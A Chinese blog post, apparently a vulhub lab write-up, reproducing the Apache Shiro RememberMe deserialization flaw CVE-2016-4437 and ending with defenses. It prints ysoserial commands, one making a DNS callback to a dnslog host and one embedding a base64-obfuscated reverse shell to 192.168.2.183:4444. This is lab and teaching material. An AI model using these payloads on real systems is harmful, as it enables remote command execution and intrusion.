CVE-2016-4437
概述
Shiro是java安全认证框架。该漏洞名为Shiro550,也称为Apache Shiro反序列化漏洞。
产生原因
Shiro框架在处理记住密码功能(RememberMe)时使用的默认或可预测的AES加密密钥。导致攻击者可构造出恶意序列化数据。
流程:
用户登陆时勾选Remember Me
服务端校验并返回加密后的Cookie
数据加密过程:用户序列化数据-> AES加密-> base64编码
勾选RememberMe后登陆成功返回的包
影响
Apache Shiro 1.2.4及以前
命令执行
环境搭建
使用vulhub提供的docker-compose.yml搭建
1 | cd shiro/CVE-2016-4437 |
复现
漏洞特征:
登陆时相应包中存在Set-Cookie: rememberMe=deleteMe;
验证漏洞存在:
使用URLDNS反序列化链进行dns外带。检测是否存在反序列化漏洞。
复现步骤:
尝试登陆,在返回包中发现特征Set-Cookie: rememberMe=deleteMe;
生成payload
1 | java -jar ysoserial-all.jar URLDNS "http://lu5bzg.dnslog.cn" > poc.ser |
构造Cookie
构造代码请参考vulhub
携带Cookie发送请求
查看dnslog平台
已有解析过来了。证明存在反序列化漏洞
攻防
利用
利用反序列化链CommonsBeanutils1
进行命令执行
反弹shell,生成payload
1 | java -jar ysoserial-all.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTgzLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > poc.ser |
构造Cookie并发起请求
工具
防御
更新shiro到1.2.4以上的版本
自定义AES密钥。配置文件:shiro.ini
参考
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 ziWindlu的博客!